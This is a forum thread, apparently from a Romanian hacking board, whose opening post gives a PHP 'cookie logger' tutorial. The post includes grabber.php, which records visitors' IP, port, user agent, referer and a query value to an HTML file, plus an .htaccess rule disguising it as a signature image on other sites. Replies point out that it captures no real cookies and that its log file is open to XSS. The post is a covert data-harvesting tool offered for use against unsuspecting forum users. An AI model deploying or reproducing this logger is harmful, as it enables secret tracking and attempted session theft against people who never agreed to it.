Jump to content
Paul4games

[Concept] New Way to Cookie Log

Recommended Posts

Before you even waste your time Reading this you need basic knowlwge of PHP images using .htaccess RewriteEngine mod.

YOUR HOST MUST SUPPORT YOU EDITING THE HTACCESS FILE OR THIS WONT WORK!!! FREE HOSTS USUALLY DONT LET YOU SO GOOGLE IT!

We start buy making the actual logger :) the PHP file that will do our dirtywork behind the scenes.

grabber.php


<?php
putenv("TZ=Europe/Oslo");
$ipLog="cookies.html";

$ip = $_SERVER['REMOTE_ADDR'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS \of F Y h:i:s A");
$log=fopen("$ipLog", "a+");
$port = $_SERVER['REMOTE_PORT'];
$cookie = $HTTP_GET_VARS["c"];

fputs($log, "
<p>--</p>
<b> Host:</b><i> $host </i><br>
<b> Port:</b> $port <br>
<b> Cookies:</b><font size='2'> $cookie </font><br>
<b> User-Agent:</b> $user_agent <br>
<b> Referer:</b> <a href='$referer'><font size='2' color='gray'>$referer</font></a> <br>
<b> IP:</b> <a href='http://$ip'><font size='2' color='gray'>$ip</font></a> -
<a href='http://www.dnsstuff.com/tools/ipall.ch?ip=$ip&src=ShowIP'><font size='2' color='gray'>DNS-Ping</font></a><br>
<b> Date:</b> $date
");

?>

cookies.html


Cookies
__

.htaccess


RewriteEngine on
RewriteRule ^sig.png$ grabber.php

once you have all on your server go to a site and use the img tags and use the image linked to the php file so if you used the name i used you would use

[\img]yoursite.com/sig.png[\img]

take out the slashs those are there so it doesnt use the code,

your cookies will apear in the cookies.html like this

4kde8lc.png

I AM NOT RESPONSIBLE FOR HOW YOU USE THIS INFORMATION!!!!

Autor:Tyler777(cred)

Ps:Eu nu sunt autorul acestui articol si nu sunt responsabil cum folositi aceste informatii!

Link to comment
Share on other sites

Mi se pare o mare tampenie.

1) $ipLog="cookies.html"; - Datele sunt salvate intr-un fisier HTML, asta inseamna un posibil XSS (na, nu prea util, dar cine stie)

2) $cookie = $HTTP_GET_VARS["c"]; - Asta nu e cookie :)

Da, salveaza cateva date, dar cam atat, cookie pauza.

Si se poate mai elegant, sa se foloseasca php_gd si sa se genereze o imagine png, astfel nu va avea cum sa stie nimeni (nu neaparat) ca e vorba de un script PHP.

Link to comment
Share on other sites

Tutorialul e bun :), insa conceptul e vechi:

Postat de @paxnWo: Cum sa iei date despre cel caruia ii trimiti un email

Postat de @tromfil: Aduna informatii pe baza unei imagini

Legat strict de cookies e cum a zis @Xander:

pentru ca poza se afla pe alt domeniu decat site-ul in cauza... nu iti trimite cookies pentru domeniul unde ai pus semnatura/avataru

Edit: metoda lui @loki: Victima yahoo: Semnatura ascunsa in yahoo mail

Edited by curtuy
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...